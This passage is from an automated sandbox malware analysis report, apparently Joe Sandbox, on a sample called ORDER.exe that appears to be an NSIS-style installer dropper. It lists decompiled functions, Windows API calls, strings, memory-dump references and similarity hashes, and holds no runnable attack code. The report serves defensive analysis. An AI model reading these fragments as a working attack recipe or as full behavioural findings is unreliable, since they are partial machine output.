DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: c2d680870d7abd1e1a74e136b5aebc8f23ebe5596e06de1d1944de18111d68fb
Instruction ID: ce5436bc7dfccdabf5b2378cdbc04c65b8fc1f8d51739f20964cb8902a5fcb59
Opcode Fuzzy Hash: c2d680870d7abd1e1a74e136b5aebc8f23ebe5596e06de1d1944de18111d68fb
Instruction Fuzzy Hash: F2419A72804249AFCF058F94CD459AFBFB9FF44310F00812AF961AA1A0C738EA50DFA5

Function 00405FA1 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\ORDER.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 00405FF9
CharNextA.USER32(?,?,?,00000000), ref: 00406006
CharNextA.USER32(?,"C:\Users\user\Desktop\ORDER.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 0040600B
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 0040601B

Strings

"C:\Users\user\Desktop\ORDER.exe", xrefs: 00405FDD
*?|<>/":, xrefs: 00405FE9
C:\Users\user\AppData\Local\Temp\, xrefs: 00405FA2, 00405FA7

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\ORDER.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1064304886
Opcode ID: cac177dc58e6cdce4745106bcf32f060ca56d97be21c35c0cc42ba282efa81fa
Instruction ID: 96a923a8ee4f60b6f191beee89bac6a1f57d38d5d4ddb578b75945660f6dc773
Opcode Fuzzy Hash: cac177dc58e6cdce4745106bcf32f060ca56d97be21c35c0cc42ba282efa81fa
Instruction Fuzzy Hash: 57110451908B9229FB325A284C40B777F99CF5A760F18047FE5C1722C2C67C5C529B6E

Function 00404053 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404070
GetSysColor.USER32(00000000), ref: 0040408C
SetTextColor.GDI32(?,00000000), ref: 00404098
SetBkMode.GDI32(?,?), ref: 004040A4
GetSysColor.USER32(?), ref: 004040B7
SetBkColor.GDI32(?,?), ref: 004040C7
DeleteObject.GDI32(?), ref: 004040E1
CreateBrushIndirect.GDI32(?), ref: 004040EB

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: 47825c477eeffae7bcc1b4b45db8633c52535f80fcd06c8b97140eed864a5805
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: 0621A4B18047049BCB309F68DD08B4BBBF8AF40714F048639EA95F26E1C738E944CB65

Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(?,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(?,?), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Memory Dump Source

Source File: 00000000.00000002.32238167410.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.32238142205.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238195639.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238224100.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ORDER.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 5812f53bea9c9c9f79666072e50bc0f3831b96dbb387c6cf78516ccbd9521935
Instruction ID: fe65b043c70383bd2b49c92c90746d4950a0c6047a38c1932a2dc3020861886a
Opcode Fuzzy Hash: 5812f53bea9c9c9f79666072e50bc0f3831b96dbb387c6cf78516ccbd9521935
Instruction Fuzzy Hash: F6418BB1108711EFF720DFA48884B5BB7F8FF443D1F218929F946D61A9DB34AA448B61

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(?,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B9
GlobalFree.KERNEL32(00000000), ref: 100024F3

Memory Dump Source

Source File: 00000000.00000002.32238167410.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.32238142205.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238195639.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238224100.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ORDER.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 28705be4039c1f606362c20ff13fdce37c258c5b4734a68cc6567389004174f8
Instruction ID: 82133e1bc6da927614d5bcfc3b496831b4cb396c3e6da136b8b2dca3161aa200
Opcode Fuzzy Hash: 28705be4039c1f606362c20ff13fdce37c258c5b4734a68cc6567389004174f8
Instruction Fuzzy Hash: 75319CB1504251EFF722CF94CCC4C6B7BBDEB852D4B128569FA4193228DB31AC54DB62

Function 004026B3 Relevance: 10.6, APIs: 7, Instructions: 75memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004059C7: GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\ORDER.exe,80000000,00000003), ref: 004059CB
Part of subcall function 004059C7: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 004059ED

GlobalAlloc.KERNEL32(?,?), ref: 004026D7
CloseHandle.KERNEL32(?), ref: 0040275D

Part of subcall function 004031CC: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EA4,?), ref: 004031DA

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 004026F3
GlobalFree.KERNEL32(?), ref: 0040272C
WriteFile.KERNEL32(?,00000000,?,?), ref: 0040273E
GlobalFree.KERNEL32(00000000), ref: 00402745

Part of subcall function 00402F1F: SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,?,?,?,00402ECB,000000FF,00000000,00000000,00409130,?), ref: 00402F45
Part of subcall function 00402F1F: WriteFile.KERNELBASE(00000000,004128A0,?,000000FF,00000000,004128A0,00004000,00409130,00409130,?,00000004,00000000,00000000,?,?), ref: 00402FD2

DeleteFileA.KERNEL32(?), ref: 00402771

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$Global$AllocFreePointerWrite$AttributesCloseCreateDeleteHandle
String ID:
API String ID: 64603807-0
Opcode ID: 886bff04a04abf0191cccc6423df3f8a629c61cd78b255a0e1cb1f67b1668c44
Instruction ID: 6bd6e99ca2686c51998a376200e97ca61e834f49c4b1b8850f9bef3558c81133
Opcode Fuzzy Hash: 886bff04a04abf0191cccc6423df3f8a629c61cd78b255a0e1cb1f67b1668c44
Instruction Fuzzy Hash: 49218CB1C00118BFCF116FA4CD88CAEBE79EF08364B10423AF520772E0C6795D419BA8

Function 00402BDA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402BF2
GetTickCount.KERNEL32 ref: 00402C10
wsprintfA.USER32 ref: 00402C3E

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

CreateDialogParamA.USER32(0000006F,00000000,00402B42,00000000), ref: 00402C62
ShowWindow.USER32(00000000,00000005), ref: 00402C70

Part of subcall function 00402BBE: MulDiv.KERNEL32(00041C71,?,00043A73), ref: 00402BD3

Strings

... %d%%, xrefs: 00402C38

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 4774796197fe5164bdbc165248605a4c2f395ef1972e6126fe3027443e66bd13
Instruction ID: 53b2eec8c243fd5a5b591a6d8e7090b5e500d3da6e0592f5c5af2241ed808ea0
Opcode Fuzzy Hash: 4774796197fe5164bdbc165248605a4c2f395ef1972e6126fe3027443e66bd13
Instruction Fuzzy Hash: AB0188B0949614ABDB216F64AE4DE9F7B7CFB017057148037FA01B11E1C6B8D541CBAE

Function 004048EA Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404905
GetMessagePos.USER32 ref: 0040490D
ScreenToClient.USER32(?,?), ref: 00404927
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404939
SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040495F

Strings

f, xrefs: 0040493B

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: 7baaa9b85802c8a5173365c44ed2834cc31749f5d024e9fb4d2ec5e64c2f69ce
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: E40140B1D00218BADB01DBA4DC85FFFBBBCAB95721F10412BBA10B61D0C7B469018BA5

Function 00402B42 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402B5D
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BB3

Strings

unpacking data: %d%%, xrefs: 00402B7F
verifying installer: %d%%, xrefs: 00402B86, 00402B8F

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: bccffcf18056edd42c20cb723d80919439a72dcdb3cc8cc3de12e394d3f134cc
Instruction ID: 4b4d840d1cf11f9656568dd8641bec75cd76f4f3bd4f461a87d93eb2d0bf3f96
Opcode Fuzzy Hash: bccffcf18056edd42c20cb723d80919439a72dcdb3cc8cc3de12e394d3f134cc
Instruction Fuzzy Hash: F7F01D70900208BBEF215F61DD4ABEE3779EB00345F00803AFA06B51D0D7F8AA558B9A

Function 004047E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Stvkonsekvenserne115 Setup: Installing,Stvkonsekvenserne115 Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,004046FB,000000DF,00000000,00000400,?), ref: 0040487E
wsprintfA.USER32 ref: 00404886
SetDlgItemTextA.USER32(?,Stvkonsekvenserne115 Setup: Installing), ref: 00404899

Strings

%u.%u%s%s, xrefs: 00404868
Stvkonsekvenserne115 Setup: Installing, xrefs: 00404870, 00404875, 0040487B, 0040488F

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Stvkonsekvenserne115 Setup: Installing
API String ID: 3540041739-1393985702
Opcode ID: 878f77dbdcb51275c09da16e61d4023f379ce68319930481f66ff31823ee0149
Instruction ID: 8631c14a921e8479d2aaee063571767324bc63c1cfe9171b6f21c1c007081b9c
Opcode Fuzzy Hash: 878f77dbdcb51275c09da16e61d4023f379ce68319930481f66ff31823ee0149
Instruction Fuzzy Hash: 90112433A441283BDB0065AD9C49EAF328CDF81334F244637FA25F61D1E9788C1292E8

Function 00402A3D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A5E
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A9A
RegCloseKey.ADVAPI32(?), ref: 00402AA3
RegCloseKey.ADVAPI32(?), ref: 00402AC8
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AE6

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 5733a3c7ed8837a4e33d89bc0436a18c4a21248f1d51b77dead4e3ad8d80db37
Instruction ID: 1cfc72d501241f28ff1c9237e437913a5e8660848d06dce24e2e83bd327c9a1b
Opcode Fuzzy Hash: 5733a3c7ed8837a4e33d89bc0436a18c4a21248f1d51b77dead4e3ad8d80db37
Instruction Fuzzy Hash: EA114F71A00108FFDF219F90DE48EAA3B7DEB44349B104076FA05B11A0DBB49E559F69

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: feff7bd0ac8b8d98e410c971607266924d1cc5c353d4854e70ab97e8d29ee8d5
Instruction ID: 68903ef9478fc0d920f95a79cd5396482650d24808bb52901199de5d2149753e
Opcode Fuzzy Hash: feff7bd0ac8b8d98e410c971607266924d1cc5c353d4854e70ab97e8d29ee8d5
Instruction Fuzzy Hash: 06F062B2A05114BFD701DBA4EE88CAF77BCEB44301B008576F501F2091C7389D019B79

Function 00401D26 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040A7D0), ref: 00401DA1

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 7af4cf4b66e980d364c2e3aa9c64882f60449cc7f52f10eab55021efc1d5f786
Instruction ID: b452d76144ce78c1ea2c31cbd89393ff29a213aa8dcca448cc35c7c7cb6754f7
Opcode Fuzzy Hash: 7af4cf4b66e980d364c2e3aa9c64882f60449cc7f52f10eab55021efc1d5f786
Instruction Fuzzy Hash: F8011271948340AFE701DBB0AE0EB9A7F74EB19705F108535F141B72E2C6B954159B2F

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 223d8f7865d2b1dd0e95bc8f55079009c40be9e2a37a1be7db68750e4265ac19
Instruction ID: c8505a4ed1fbcfe48898eca751f608fe424cacc25c72cee6cab93c7adb8e4515
Opcode Fuzzy Hash: 223d8f7865d2b1dd0e95bc8f55079009c40be9e2a37a1be7db68750e4265ac19
